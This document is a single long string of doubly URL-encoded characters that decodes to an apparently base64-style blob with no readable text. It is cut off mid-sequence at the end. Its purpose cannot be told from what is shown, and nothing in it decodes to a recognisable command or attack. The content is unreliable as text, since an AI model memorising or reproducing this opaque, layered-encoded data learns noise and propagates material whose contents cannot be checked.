%32%66%25%35%31%25%33%35%25%33%33%25%36%64%25%34%33%25%34%39%25%33%31%25%33%39%25%36%62%25%37%33%25%37%36%25%37%61%25%33%35%25%34%66%25%33%33%25%33%39%25%35%36%25%35%38%25%36%35%25%33%31%25%33%36%25%37%61%25%37%39%25%36%33%25%35%31%25%35%37%25%35%32%25%34%32%25%35%35%25%34%61%25%36%32%25%37%37%25%34%31%25%34%34%25%37%39%25%37%39%25%34%38%25%36%35%25%32%62%25%36%64%25%36%36%25%33%31%25%36%36%25%37%61%25%35%34%25%36%36%25%35%31%25%35%32%25%34%35%25%33%36%25%34%61%25%35%37%25%34%39%25%35%36%25%35%33%25%34%64%25%37%38%25%34%35%25%36%65%25%33%31%25%37%38%25%35%39%25%36%62%25%36%66%25%33%37%25%35%34%25%36%33%25%35%61%25%36%36%25%35%36%25%36%66%25%35%61%25%33%32%25%36%33%25%35%39%25%32%66%25%34%63%25%35%32%25%34%39%25%34%32%25%34%31%25%33%37%25%36%39%25%37%34%25%32%66%25%33%35%25%37%31%25%34%61%25%35%37%25%34%39%25%35%31%25%35%39%25%35%32%25%34%66%25%37%36%25%36%66%25%36%33%25%34%37%25%35%30%25%35%35%25%34%32%25%36%66%25%36%38%25%37%33%25%35%33%25%34%36%25%37%30%25%33%39%25%33%32%25%36%32%25%33%37%25%33%30%25%33%37%25%37%32%25%33%33%25%36%64%25%34%64%25%37%32%25%36%64%25%35%38%25%32%62%25%37%31%25%34%62%25%37%35%25%36%36%25%33%31%25%33%35%25%36%62%25%33%34%25%33%34%25%37%33%25%34%39%25%36%35%25%34%33%25%34%33%25%36%31%25%37%33%25%33%33%25%33%38%25%37%61%25%34%66%25%37%61%25%34%35%25%34%32%25%36%37%25%36%65%25%36%39%25%34%33%25%37%31%25%34%31%25%36%32%25%37%31%25%36%39%25%34%31%25%35%61%25%37%31%25%36%32%25%37%34%25%37%37%25%32%66%25%34%36%25%36%35%25%33%36%25%34%63%25%35%31%25%33%38%25%32%62%25%34%65%25%34%64%25%33%37%25%34%37%25%34%62%25%33%30%25%37%31%25%33%34%25%34%33%25%36%33%25%37%37%25%37%36%25%33%35%25%34%39%25%36%66%25%33%37%25%33%38%25%32%62%25%35%30%25%34%36%25%35%33%25%34%33%25%36%31%25%36%63%25%37%34%25%36%66%25%37%37%25%34%34%25%32%62%25%34%33%25%35%39%25%34%66%25%34%34%25%33%33%25%36%36%25%35%39%25%34%36%25%36%64%25%36%37%25%35%35%25%36%33%25%35%35%25%34%32%25%36%31%25%35%36%25%34%61%25%35%32%25%37%38%25%35%39%25%35%39%25%36%38%25%34%37%25%34%36%25%34%35%25%34%38%25%34%38%25%36%36%25%32%66%25%33%37%25%35%38%25%33%30%25%37%35%25%34%31%25%32%66%25%35%38%25%34%39%25%36%64%25%36%33%25%35%33%25%33%33%25%36%38%25%34%31%25%37%33%25%33%33%25%37%35%25%33%33%25%37%38%25%34%39%25%33%30%25%36%63%25%37%33%25%36%63%25%35%37%25%37%35%25%34%65%25%36%31%25%33%34%25%35%38%25%35%32%25%35%30%25%34%66%25%33%39%25%32%62%25%36%32%25%36%32%25%33%39%25%37%35%25%33%37%25%33%35%25%37%31%25%35%61%25%36%38%25%36%66%25%37%38%25%37%31%25%36%39%25%34%35%25%35%32%25%34%33%25%34%61%25%34%61%25%35%30%25%34%66%25%33%33%25%34%64%25%34%31%25%35%38%25%33%35%25%36%63%25%35%34%25%34%63%25%35%33%25%35%38%25%36%33%25%37%37%25%33%37%25%36%66%25%33%34%25%34%32%25%34%33%25%33%34%25%35%31%25%37%30%25%37%30%25%35%34%25%37%61%25%36%38%25%33%33%25%37%38%25%33%37%25%36%37%25%34%61%25%36%34%25%37%61%25%36%31%25%36%37%25%35%31%25%35%38%25%34%62%25%34%33%25%36%34%25%33%37%25%33%38%25%34%33%25%32%62%25%35%39%25%32%66%25%37%61%25%37%36%25%33%31%25%33%37%25%36%62%25%33%37%25%35%34%25%36%64%25%36%65%25%34%37%25%36%32%25%34%33%25%34%31%25%36%63%25%37%36%25%37%37%25%37%37%25%34%32%25%34%39%25%34%34%25%36%38%25%36%34%25%34%36%25%34%38%25%33%39%25%37%39%25%36%36%25%33%30%25%37%31%25%33%30%25%33%33%25%37%33%25%34%35%25%34%35%25%36%61%25%33%32%25%33%37%25%35%32%25%36%64%25%33%33%25%37%38%25%35%34%25%36%64%25%34%65%25%37%35%25%37%32%25%36%31%25%33%33%25%35%39%25%36%38%25%37%31%25%35%39%25%34%34%25%36%37%25%35%32%25%37%30%25%33%32%25%36%66%25%34%31%25%34%31%25%34%32%25%34%31%25%34%62%25%34%63%25%37%35%25%36%63%25%37%32%25%35%36%25%36%63%25%35%38%25%36%37%25%33%36%25%37%38%25%34%35%25%33%39%25%33%32%25%34%35%25%37%31%25%36%33%25%37%30%25%32%66%25%34%31%25%36%64%25%36%36%25%34%32%25%37%35%25%34%34%25%33%38%25%32%66%25%33%36%25%35%61%25%32%62%25%35%35%25%37%34%25%32%62%25%35%61%25%35%30%25%33%35%25%34%37%25%35%33%25%37%32%25%37%35%25%34%64%25%33%30%25%33%36%25%37%31%25%34%65%25%35%35%25%36%65%25%34%32%25%35%30%25%37%35%25%35%38%25%33%39%25%36%63%25%33%32%25%37%37%25%34%32%25%34%61%25%34%33%25%35%61%25%34%64%25%33%32%25%37%33%25%33%35%25%36%35%25%36%36%25%37%38%25%35%37%25%34%63%25%33%39%25%33%34%25%36%39%25%33%36%25%34%64%25%37%34%25%37%36%25%35%36%25%36%39%25%35%37%25%33%39%25%34%66%25%35%30%25%37%36%25%37%33%25%37%31%25%36%64%25%35%36%25%37%34%25%36%66%25%33%35%25%34%62%25%33%36%25%35%33%25%36%37%25%37%33%25%34%37%25%37%37%25%34%33%25%34%34%25%35%31%25%34%32%25%35%39%25%34%36%25%33%34%25%33%37%25%34%31%25%35%31%25%34%37%25%34%31%25%34%61%25%36%37%25%32%66%25%36%64%25%32%62%25%37%31%25%33%30%25%36%61%25%37%34%25%36%36%25%36%38%25%36%61%25%37%32%25%35%37%25%37%39%25%34%37%25%34%39%25%34%32%25%37%34%25%34%35%25%34%36%25%37%34%25%34%39%25%35%34%25%37%32%25%36%34%25%35%36%25%32%62%25%35%37%25%35%34%25%35%61%25%34%33%25%36%33%25%36%65%25%37%35%25%33%30%25%34%66%25%37%38%25%37%33%25%37%31%25%36%35%25%36%34%25%34%65%25%35%37%25%37%38%25%33%33%25%35%34%25%36%32%25%36%38%25%35%39%25%35%35%25%35%37%25%34%36%25%36%66%25%36%64%25%35%35%25%36%36%25%35%38%25%36%33%25%34%65%25%34%64%25%37%38%25%34%32%25%37%30%25%37%31%25%36%32%25%36%63%25%36%33%25%34%31%25%34%33%25%35%37%25%36%37%25%34%32%25%36%66%25%35%39%25%35%36%25%33%39%25%36%38%25%36%35%25%35%38%25%36%39%25%33%37%25%32%62%25%36%35%25%33%32%25%32%66%25%35%33%25%32%66%25%37%31%25%34%31%25%36%35%25%34%36%25%37%36%25%35%33%25%33%32%25%37%34%25%37%31%25%35%33%25%35%30%25%34%31%25%36%64%25%37%33%25%34%36%25%37%33%25%35%34%25%36%33%25%34%36%25%36%37%25%34%31%25%34%36%25%37%39%25%37%36%25%36%63%25%37%32%25%36%32%25%33%31%25%36%32%25%34%31%25%35%39%25%34%31%25%32%66%25%37%34%25%35%32%25%36%35%25%33%30%25%34%63%25%34%37%25%37%35%25%34%63%25%36%35%25%33%38%25%33%37%25%32%62%25%37%32%25%37%36%25%33%39%25%36%36%25%36%62%25%37%33%25%34%39%25%34%65%25%33%37%25%34%36%25%34%39%25%36%62%25%35%34%25%37%39%25%37%30%25%36%37%25%35%38%25%35%38%25%34%66%25%37%31%25%36%64%25%35%38%25%36%65%25%34%34%25%36%34%25%34%65%25%34%62%25%35%33%25%37%36%25%32%66%25%36%35%25%33%35%25%37%30%25%36%31%25%37%32%25%34%63%25%37%39%25%35%30%25%36%34%25%33%31%25%37%36%25%35%34%25%34%61%25%36%33%25%34%64%25%36%33%25%37%37%25%35%61%25%35%30%25%36%39%25%34%35%25%36%65%25%35%33%25%33%39%25%36%65%25%33%39%25%34%35%25%34%31%25%35%38%25%35%39%25%34%31%25%36%39%25%36%65%25%35%35%25%35%34%25%34%61%25%37%31%25%34%36%25%36%34%25%37%35%25%37%38%25%34%32%25%34%32%25%34%39%25%34%31%25%33%30%25%37%34%25%37%30%25%34%62%25%36%35%25%34%38%25%36%61%25%34%39%25%37%39%25%35%31%25%36%63%25%35%32%25%35%36%25%37%39%25%36%33%25%36%62%25%34%39%25%36%35%25%35%38%25%36%39%25%36%37%25%36%66%25%34%33%25%34%39%25%35%36%25%34%36%25%36%66%25%35%32%25%37%33%25%34%33%25%36%63%25%34%61%25%34%37%25%34%32%25%36%33%25%37%36%25%34%61%25%35%31%25%35%35%25%35%32%25%34%35%25%37%31%25%34%62%25%35%35%25%34%35%25%35%30%25%34%38%25%37%31%25%34%33%25%34%62%25%34%33%25%36%63%25%35%34%25%35%38%25%36%37%25%34%65%25%37%32%25%36%31%25%35%35%25%34%36%25%36%33%25%36%36%25%36%62%25%37%33%25%36%65%25%35%31%25%35%36%25%33%31%25%33%38%25%36%38%25%34%32%25%34%62%25%36%66%25%37%33%25%33%32%25%36%34%25%35%34%25%34%61%25%35%38%25%33%32%25%35%61%25%36%38%25%33%36%25%33%33%25%36%66%25%37%61%25%33%36%25%36%66%25%34%34%25%36%38%25%34%38%25%37%34%25%35%38%25%36%31%25%33%34%25%34%38%25%33%36%25%37%30%25%33%33%25%34%39%25%34%66%25%33%34%25%34%62%25%36%33%25%34%31%25%34%31%25%35%34%25%34%39%25%37%35%25%37%38%25%36%35%25%34%33%25%34%39%25%33%33%25%32%62%25%35%31%25%36%31%25%36%35%25%33%32%25%37%31%25%36%37%25%34%38%25%35%37%25%32%66%25%33%31%25%34%32%25%35%31%25%34%64%25%34%34%25%36%39%25%33%33%25%37%61%25%33%34%25%34%32%25%34%63%25%34%65%25%36%31%25%35%39%25%36%33%25%35%30%25%36%64%25%37%34%25%34%31%25%36%64%25%36%61%25%34%61%25%34%36%25%34%32%25%34%31%25%35%33%25%36%37%25%36%37%25%36%62%25%34%35%25%34%37%25%33%35%25%37%31%25%36%34%25%35%34%25%36%39%25%35%34%25%34%32%25%36%66%25%35%38%25%37%39%25%34%35%25%34%33%25%34%66%25%34%31%25%34%39%25%36%34%25%36%38%25%34%66%25%36%62%25%37%32%25%37%37%25%36%65%25%32%66%25%33%35%25%33%39%25%37%61%25%36%62%25%34%63%25%36%38%25%34%62%25%36%36%25%33%34%25%35%34%25%34%35%25%33%36%25%35%31%25%36%62%25%37%61%25%37%31%25%34%34%25%37%38%25%35%37%25%34%61%25%34%39%25%34%35%25%34%35%25%34%63%25%36%34%25%36%34%25%35%35%25%34%39%25%33%38%25%36%32%25%34%61%25%34%63%25%36%34%25%36%66%25%37%31%25%35%37%25%36%33%25%34%34%25%36%63%25%36%38%25%34%64%25%34%66%25%35%33%25%36%61%25%37%35%25%35%30%25%34%65%25%36%37%25%34%64%25%35%38%25%34%38%25%33%39%25%37%38%25%33%33%25%36%65%25%35%39%25%34%64%25%35%32%25%34%35%25%34%61%25%34%65%25%34%65%25%34%31%25%36%35%25%36%37%25%34%34%25%37%34%25%33%30%25%35%39%25%36%62%25%33%36%25%36%33%25%36%33%25%34%63%25%34%34%25%35%37%25%37%39%25%33%30%25%34%62%25%34%34%25%34%38%25%35%37%25%37%39%25%35%30%25%34%39%25%36%32%25%34%31%25%32%62%25%36%32%25%37%31%25%37%35%25%34%39%25%34%36%25%36%33%25%35%33%25%34%36%25%35%36%25%35%61%25%37%33%25%36%32%25%37%38%25%34%31%25%34%63%25%34%38%25%35%32%25%36%39%25%36%38%25%34%36%25%34%66%25%34%36%25%37%31%25%34%37%25%37%34%25%34%64%25%33%33%25%34%32%25%37%31%25%34%32%25%33%31%25%33%35%25%34%38%25%34%39%25%34%35%25%35%36%25%36%65%25%34%38%25%36%61%25%37%38%25%34%66%25%36%66%25%35%32%25%34%32%25%35%31%25%33%39%25%34%66%25%36%38%25%33%37%25%37%34%25%37%35%25%34%34%25%35%33%25%35%37%25%34%39%25%36%66%25%34%39%25%34%35%25%36%62%25%34%66%25%34%34%25%36%31%25%36%62%25%36%37%25%34%63%25%37%39%25%34%66%25%34%32%25%34%63%25%34%31%25%36%65%25%36%63%25%36%38%25%33%32%25%34%39%25%37%33%25%33%35%25%36%32%25%32%66%25%35%38%25%33%31%25%36%37%25%33%30%25%36%66%25%37%33%25%34%36%25%33%35%25%36%61%25%36%64%25%33%30%25%34%66%25%35%33%25%35%61%25%34%33%25%36%38%25%34%65%25%36%61%25%37%38%25%36%66%25%34%37%25%37%39%25%36%36%25%35%61%25%35%34%25%34%38%25%36%66%25%35%35%25%37%36%25%37%31%25%37%61%25%36%34%25%33%34%25%35%33%25%34%62%25%34%65%25%33%35%25%34%64%25%36%32%25%36%62%25%32%62%25%35%39%25%36%63%25%35%30%25%34%32%25%34%37%25%36%34%25%37%37%25%33%35%25%33%34%25%36%37%25%37%38%25%36%37%25%34%64%25%36%64%25%37%37%25%33%31%25%37%34%25%34%34%25%37%36%25%37%39%25%34%37%25%36%32%25%36%39%25%37%39%25%34%62%25%34%63%25%34%35%25%34%38%25%33%32%25%36%34%25%36%37%25%33%36%25%34%31%25%37%38%25%36%34%25%33%36%25%36%65%25%34%34%25%34%35%25%37%39%25%37%39%25%35%34%25%34%36%25%35%31%25%37%32%25%32%66%25%32%62%25%34%32%25%34%63%25%36%36%25%36%66%25%33%35%25%33%34%25%37%31%25%33%38%25%33%31%25%33%37%25%37%31%25%35%36%25%37%33%25%34%33%25%36%61%25%36%62%25%36%35%25%35%35%25%33%36%25%36%61%25%34%65%25%37%34%25%34%62%25%36%66%25%35%32%25%36%61%25%37%33%25%34%61%25%36%31%25%35%32%25%35%38%25%37%31%25%36%66%25%34%66%25%36%34%25%33%33%25%35%31%25%34%38%25%36%34%25%35%38%25%36%65%25%35%32%25%35%39%25%36%36%25%37%38%25%34%37%25%35%36%25%36%33%25%36%32%25%34%38%25%35%39%25%33%31%25%33%36%25%34%62%25%36%62%25%35%37%25%33%32%25%34%65%25%34%32%25%37%61%25%36%37%25%35%35%25%37%30%25%37%38%25%34%37%25%35%30%25%36%32%25%37%34%25%34%38%25%33%31%25%34%36%25%33%30%25%36%32%25%36%65%25%35%35%25%35%35%25%33%37%25%36%65%25%35%31%25%35%31%25%33%31%25%34%62%25%36%33%25%33%32%25%34%35%25%35%39%25%37%33%25%37%30%25%34%31%25%37%34%25%36%31%25%34%65%25%34%38%25%33%33%25%34%31%25%33%35%25%36%36%25%36%31%25%33%37%25%33%38%25%36%39%25%35%31%25%35%36%25%36%61%25%33%30%25%32%62%25%33%36%25%33%31%25%37%61%25%33%33%25%37%39%25%33%38%25%34%38%25%37%35%25%36%66%25%34%35%25%36%37%25%33%32%25%33%37%25%37%39%25%33%35%25%36%63%25%36%64%25%33%35%25%36%31%25%36%32%25%33%36%25%36%66%25%34%36%25%34%36%25%32%62%25%37%33%25%35%30%25%36%34%25%36%31%25%34%31%25%34%35%25%33%34%25%36%39%25%37%35%25%34%66%25%37%34%25%36%34%25%36%33%25%34%62%25%34%34%25%37%30%25%36%39%25%33%31%25%34%35%25%35%33%25%35%31%25%36%38%25%37%31%25%35%61%25%34%63%25%34%64%25%37%34%25%35%61%25%37%35%25%33%38%25%33%32%25%37%35%25%37%33%25%36%62%25%35%39%25%37%34%25%36%34%25%32%62%25%37%37%25%34%63%25%36%36%25%34%64%25%34%63%25%37%33%25%36%33%25%37%34%25%34%35%25%36%62%25%34%34%25%37%37%25%37%31%25%33%35%25%34%39%25%37%61%25%35%36%25%34%33%25%35%35%25%36%66%25%36%34%25%36%31%25%36%63%25%34%37%25%35%39%25%34%35%25%34%64%25%37%35%25%35%35%25%37%33%25%34%61%25%33%37%25%32%66%25%37%34%25%37%32%25%37%32%25%34%34%25%36%35%25%34%63%25%34%39%25%36%61%25%32%66%25%33%32%25%34%34%25%35%30%25%37%36%25%33%33%25%36%64%25%34%63%25%36%36%25%35%34%25%32%62%25%33%33%25%35%39%25%33%38%25%32%66%25%33%33%25%33%39%25%36%66%25%34%66%25%32%62%25%33%30%25%37%36%25%33%39%25%33%33%25%37%38%25%36%64%25%37%32%25%36%65%25%35%30%25%34%65%25%34%37%25%35%39%25%34%36%25%34%61%25%35%34%25%34%65%25%33%31%25%34%63%25%34%39%25%34%35%25%35%36%25%35%30%25%33%36%25%33%31%25%33%30%25%37%61%25%36%63%25%33%39%25%37%34%25%34%37%25%37%31%25%32%62%25%35%37%25%36%66%25%32%62%25%33%32%25%34%64%25%37%30%25%36%34%25%36%65%25%35%37%25%35%39%25%36%34%25%36%35%25%36%32%25%36%64%25%37%39%25%33%36%25%34%36%25%37%33%25%33%38%25%33%38%25%33%31%25%35%34%25%33%36%25%35%38%25%36%36%25%37%39%25%34%33%25%36%62%25%36%32%25%34%33%25%35%37%25%37%30%25%36%61%25%35%37%25%37%30%25%34%66%25%35%34%25%34%61%25%34%31%25%33%38%25%36%39%25%34%33%25%35%39%25%34%35%25%33%35%25%35%33%25%33%38%25%33%30%25%36%63%25%33%37%25%34%36%25%36%61%25%33%31%25%37%33%25%36%37%25%33%37%25%35%35%25%37%61%25%34%39%25%37%33%25%33%38%25%34%33%25%37%31%25%36%64%25%36%64%25%34%36%25%37%33%25%37%61%25%36%31%25%36%65%25%34%31%25%36%64%25%37%32%25%35%39%25%35%31%25%33%35%25%34%64%25%33%31%25%33%31%25%35%61%25%36%65%25%34%32%25%35%35%25%34%64%25%34%65%25%34%35%25%36%36%25%35%37%25%33%34%25%35%30%25%34%64%25%36%36%25%34%35%25%36%38%25%35%31%25%35%61%25%34%31%25%37%32%25%35%35%25%34%61%25%34%32%25%33%33%25%33%30%25%35%32%25%37%61%25%34%33%25%34%35%25%36%36%25%36%62%25%35%37%25%35%33%25%37%31%25%37%34%25%37%33%25%33%36%25%37%38%25%37%30%25%34%66%25%35%35%25%32%62%25%36%63%25%37%39%25%36%39%25%36%38%25%33%30%25%34%35%25%36%36%25%34%63%25%34%39%25%33%38%25%36%61%25%36%66%25%35%37%25%35%34%25%36%61%25%34%65%25%37%37%25%35%35%25%37%31%25%37%37%25%37%61%25%36%65%25%35%35%25%36%35%25%34%31%25%35%34%25%33%36%25%35%36%25%34%61%25%36%37%25%36%38%25%37%38%25%37%39%25%36%34%25%36%64%25%37%35%25%35%36%25%37%36%25%34%62%25%37%38%25%37%34%25%37%38%25%35%34%25%36%37%25%37%61%25%34%39%25%34%39%25%36%37%25%36%63%25%34%62%25%34%37%25%35%61%25%32%66%25%33%34%25%36%62%25%36%35%25%37%37%25%33%31%25%36%64%25%35%32%25%36%63%25%36%63%25%35%36%25%35%30%25%33%35%25%37%31%25%33%30%25%36%64%25%36%37%25%34%63%25%37%34%25%33%35%25%36%34%25%36%33%25%34%34%25%35%34%25%35%38%25%36%38%25%37%61%25%35%37%25%34%34%25%35%38%25%35%36%25%36%34%25%34%61%25%36%64%25%32%62%25%34%34%25%33%31%25%33%33%25%33%35%25%33%30%25%37%30%25%36%33%25%36%31%25%36%31%25%35%36%25%37%31%25%36%35%25%36%34%25%36%65%25%35%32%25%34%62%25%35%61%25%33%31%25%36%31%25%37%37%25%33%32%25%34%63%25%35%34%25%36%65%25%33%31%25%37%34%25%33%35%25%37%61%25%36%66%25%34%62%25%34%61%25%35%31%25%33%37%25%35%32%25%37%30%25%34%39%25%34%35%25%34%35%25%34%35%25%33%35%25%33%35%25%34%37%25%34%36%25%35%36%25%37%32%25%34%34%25%36%62%25%36%63%25%33%36%25%32%62%25%34%38%25%37%37%25%34%34%25%35%37%25%33%37%25%33%34%25%34%32%25%32%62%25%36%39%25%36%63%25%37%37%25%35%35%25%33%38%25%37%37%25%36%61%25%34%31%25%37%39%25%37%32%25%37%39%25%33%31%25%36%62%25%37%34%25%37%39%25%33%37%25%33%30%25%37%61%25%36%66%25%35%30%25%35%36%25%36%62%25%35%38%25%34%34%25%37%36%25%36%32%25%37%31%25%33%35%25%33%37%25%37%39%25%34%64%25%37%37%25%36%65%25%33%36%25%37%61%25%33%35%25%36%63%25%32%66%25%32%66%25%37%36%25%36%32%25%37%36%25%37%31%25%37%38%25%34%66%25%35%30%25%36%62%25%33%35%25%33%31%25%33%38%25%37%36%25%35%39%25%36%61%25%36%35%25%35%34%25%37%61%25%36%34%25%34%35%25%35%30%25%36%32%25%33%37%25%35%61%25%36%34%25%35%35%25%32%66%25%37%39%25%37%30%25%37%39%25%37%33%25%36%36%25%33%39%25%32%66%25%35%37%25%34%39%25%36%33%25%37%38%25%37%34%25%33%31%25%35%36%25%33%37%25%34%38%25%35%33%25%36%65%25%36%38%25%37%33%25%34%35%25%37%35%25%34%38%25%37%36%25%36%35%25%37%33%25%35%32%25%34%35%25%36%66%25%33%37%25%35%37%25%34%62%25%37%34%25%33%35%25%35%31%25%33%32%25%37%39%25%34%34%25%37%31%25%33%33%25%33%33%25%35%36%25%34%34%25%35%33%25%35%33%25%37%31%25%36%31%25%33%37%25%35%37%25%36%39%25%35%38%25%35%39%25%36%31%25%36%35%25%34%62%25%34%31%25%35%37%25%34%65%25%37%34%25%34%37%25%36%66%25%35%31%25%36%31%25%37%35%25%36%35%25%34%61%25%36%36%25%33%38%25%36%35%25%33%30%25%35%30%25%35%30%25%36%65%25%36%63%25%36%34%25%35%38%25%33%38%25%35%30%25%36%63%25%35%39%25%36%35%25%37%36%25%35%32%25%33%34%25%36%65%25%36%34%25%34%35%25%37%35%25%33%31%25%36%63%25%36%35%25%35%33%25%34%35%25%37%34%25%36%65%25%33%31%25%36%64%25%33%35%25%33%34%25%37%30%25%37%39%25%37%37%25%35%36%25%37%37%25%34%64%25%34%63%25%34%65%25%35%31%25%37%30%25%37%32%25%37%61%25%35%31%25%33%32%25%33%33%25%35%34%25%34%66%25%37%38%25%36%61%25%36%64%25%37%31%25%34%32%25%32%66%25%36%39%25%34%31%25%36%61%25%33%36%25%34%66%25%36%32%25%35%32%25%32%66%25%34%38%25%36%38%25%32%66%25%33%39%25%33%36%25%34%39%25%36%38%25%34%36%25%33%30%25%33%38%25%35%35%25%32%62%25%36%66%25%33%38%25%37%33%25%35%38%25%33%38%25%36%65%25%37%34%25%36%64%25%37%61%25%36%39%25%36%61%25%33%38%25%36%63%25%34%61%25%36%32%25%35%37%25%34%39%25%32%66%25%36%31%25%35%32%25%33%39%25%34%36%25%36%62%25%33%35%25%36%31%25%37%34%25%34%38%25%32%62%25%33%37%25%37%30%25%35%61%25%34%32%25%37%61%25%32%62%25%35%37%25%36%62%25%34%38%25%35%32%25%35%36%25%35%38%25%34%61%25%33%35%25%35%36%25%37%31%25%37%61%25%37%30%25%35%35%25%35%35%25%33%31%25%36%62%25%34%63%25%35%34%25%34%31%25%33%32%25%37%39%25%33%39%25%34%39%25%34%62%25%36%65%25%34%38%25%35%32%25%35%30%25%34%36%25%36%62%25%36%62%25%33%36%25%37%30%25%33%30%25%36%63%25%33%35%25%34%34%25%34%63%25%35%61%25%32%62%25%34%39%25%37%61%25%33%37%25%33%38%25%36%36%25%34%65%25%34%37%25%37%35%25%35%32%25%37%30%25%37%33%25%33%31%25%36%31%25%32%62%25%35%34%25%36%32%25%35%61%25%37%31%25%36%34%25%36%36%25%36%66%25%34%34%25%36%65%25%33%37%25%34%38%25%33%31%25%35%61%25%35%36%25%33%31%25%34%35%25%34%32%25%35%36%25%35%38%25%37%33%25%33%31%25%36%65%25%37%38%25%36%65%25%34%36%25%36%65%25%33%37%25%36%35%25%34%37%25%35%37%25%37%37%25%34%66%25%37%30%25%34%66%25%33%38%25%35%31%25%33%38%25%34%31%25%36%61%25%36%61%25%34%65%25%34%37%25%36%66%25%35%35%25%35%34%25%33%34%25%37%35%25%36%39%25%36%38%25%36%38%25%37%32%25%34%39%25%34%65%25%36%66%25%34%33%25%35%31%25%34%34%25%34%63%25%37%31%25%36%65%25%35%31%25%36%63%25%36%65%25%35%39%25%33%38%25%35%35%25%36%33%25%36%36%25%33%32%25%34%36%25%37%33%25%36%37%25%36%37%25%37%61%25%34%65%25%37%39%25%36%31%25%35%32%25%33%38%25%35%31%25%37%32%25%33%31%25%33%31%25%37%30%25%35%33%25%33%31%25%34%66%25%36%62%25%36%32%25%34%64%25%34%36%25%37%36%25%34%39%25%34%39%25%36%35%25%36%34%25%35%61%25%35%36%25%34%33%25%33%34%25%35%38%25%34%36%25%33%37%25%37%39%25%37%34%25%34%31%25%33%34%25%35%31%25%34%65%25%36%34%25%34%38%25%34%61%25%37%30%25%37%39%25%34%64%25%32%62%25%35%61%25%35%39%25%37%39%25%33%38%25%36%34%25%36%35%25%34%39%25%37%35%25%35%34%25%36%63%25%35%33%25%36%35%25%36%36%25%35%38%25%34%32%25%36%38%25%36%64%25%36%61%25%35%38%25%36%39%25%33%37%25%35%31%25%32%66%25%37%33%25%35%34%25%34%31%25%34%33%25%36%31%25%35%39%25%34%36%25%37%31%25%33%34%25%37%32%25%34%33%25%34%36%25%33%36%25%37%39%25%33%35%25%34%62%25%36%61%25%37%34%25%34%66%25%33%39%25%34%31%25%34%34%25%34%65%25%34%38%25%34%64%25%37%37%25%37%35%25%32%62%25%36%62%25%33%35%25%37%31%25%36%33%25%33%39%25%36%34%25%37%39%25%33%35%25%36%31%25%33%30%25%36%66%25%35%34%25%36%65%25%35%36%25%36%63%25%34%38%25%34%66%25%33%39%25%34%37%25%37%30%25%36%33%25%35%36%25%34%31%25%36%64%25%37%61%25%33%35%25%37%31%25%34%38%25%34%65%25%34%34%25%36%66%25%34%64%25%35%36%25%34%33%25%36%65%25%36%31%25%36%34%25%35%38%25%37%30%25%35%34%25%37%35%25%37%61%25%37%37%25%36%39%25%36%37%25%34%61%25%34%36%25%34%32%25%36%34%25%33%35%25%37%32%25%34%66%25%36%65%25%36%66%25%36%65%25%36%36%25%36%38%25%35%61%25%36%36%25%33%30%25%34%37%25%33%39%25%36%31%25%33%34%25%36%61%25%36%61%25%36%33%25%34%64%25%36%32%25%37%61%25%36%65%25%36%34%25%36%39%25%37%35%25%36%61%25%37%33%25%36%31%25%35%30%25%34%31%25%35%33%25%36%61%25%34%37%25%37%32%25%35%32%25%36%66%25%33%31%25%33%30%25%34%64%25%35%38%25%35%34%25%34%32%25%33%39%25%37%30%25%37%38%25%35%34%25%34%37%25%33%32%25%36%32%25%34%66%25%35%38%25%37%32%25%36%39%25%34%34%25%34%36%25%34%66%25%32%62%25%37%35%25%33%31%25%36%36%25%35%30%25%35%39%25%35%33%25%37%33%25%37%36%25%34%32%25%36%34%25%33%39%25%33%32%25%35%34%25%35%31%25%34%64%25%34%32%25%35%30%25%36%61%25%36%39%25%34%39%25%35%30%25%35%39%25%34%62%25%35%34%25%34%32%25%35%33%25%35%31%25%34%34%25%34%38%25%37%34%25%37%34%25%36%35%25%36%38%25%36%62%25%34%61%25%33%31%25%33%34%25%34%36%25%34%66%25%36%64%25%36%39%25%33%39%25%37%31%25%35%32%25%36%63%25%35%38%25%36%37%25%33%30%25%35%31%25%37%38%25%33%33%25%36%38%25%37%31%25%37%36%25%37%36%25%36%64%25%34%37%25%37%36%25%36%61%25%36%37%25%34%62%25%35%31%25%36%62%25%34%37%25%36%39%25%36%34%25%34%34%25%36%31%25%37%61%25%36%38%25%36%35%25%36%62%25%37%30%25%37%38%25%35%32%25%34%33%25%35%32%25%36%66%25%36%31%25%37%35%25%36%36%25%33%36%25%35%61%25%35%35%25%34%34%25%36%33%25%34%61%25%36%36%25%34%35%25%37%36%25%32%62%25%33%30%25%35%61%25%37%30%25%34%36%25%35%31%25%34%64%25%35%39%25%35%31%25%34%32%25%33%36%25%35%33%25%34%31%25%35%37%25%34%33%25%34%33%25%36%36%25%33%34%25%34%38%25%34%35%25%34%65%25%34%31%25%37%31%25%35%33%25%34%33%25%34%65%25%34%61%25%36%64%25%33%30%25%34%34%25%35%33%25%36%63%25%35%33%25%36%31%25%36%63%25%34%31%25%34%64%25%37%30%25%37%61%25%35%38%25%32%62%25%36%63%25%37%34%25%34%34%25%34%62%25%33%33%25%35%35%25%34%38%25%36%36%25%34%33%25%36%36%25%33%35%25%33%32%25%37%38%25%37%31%25%36%38%25%36%36%25%35%61%25%34%31%25%36%37%25%34%63%25%32%62%25%34%61%25%33%32%25%34%31%25%35%30%25%34%36%25%36%34%25%37%32%25%37%37%25%34%37%25%33%38%25%34%65%25%34%35%25%34%31%25%34%32%25%34%39%25%34%31%25%36%64%25%34%62%25%33%39%25%36%61%25%36%38%25%36%31%25%36%34%25%34%38%25%36%62%25%34%65%25%37%31%25%33%36%25%34%66%25%35%39%25%33%38%25%36%36%25%37%33%25%34%36%25%36%33%25%33%39%25%34%66%25%35%31%25%37%39%25%37%31%25%35%32%25%36%33%25%34%62%25%36%63%25%36%36%25%33%31%25%37%31%25%37%35%25%36%65%25%37%31%25%34%62%25%36%61%25%35%38%25%37%33%25%34%33%25%33%39%25%34%65%25%34%32%25%36%66%25%36%33%25%37%61%25%34%62%25%37%32%25%36%36%25%34%61%25%35%35%25%35%31%25%34%31%25%33%32%25%36%66%25%34%39%25%36%36%25%37%39%25%37%36%25%34%37%25%34%63%25%33%32%25%34%66%25%33%31%25%36%66%25%37%37%25%33%36%25%35%32%25%37%34%25%37%35%25%36%66%25%34%34%25%32%62%25%34%34%25%37%61%25%35%61%25%35%31%25%36%37%25%34%37%25%33%39%25%35%32%25%33%33%25%33%32%25%37%61%25%37%37%25%37%33%25%37%34%25%36%34%25%36%64%25%37%31%25%33%31%25%36%39%25%37%38%25%33%32%25%34%31%25%34%31%25%37%37%25%34%34%25%34%31%25%34%33%25%36%37%25%37%30%25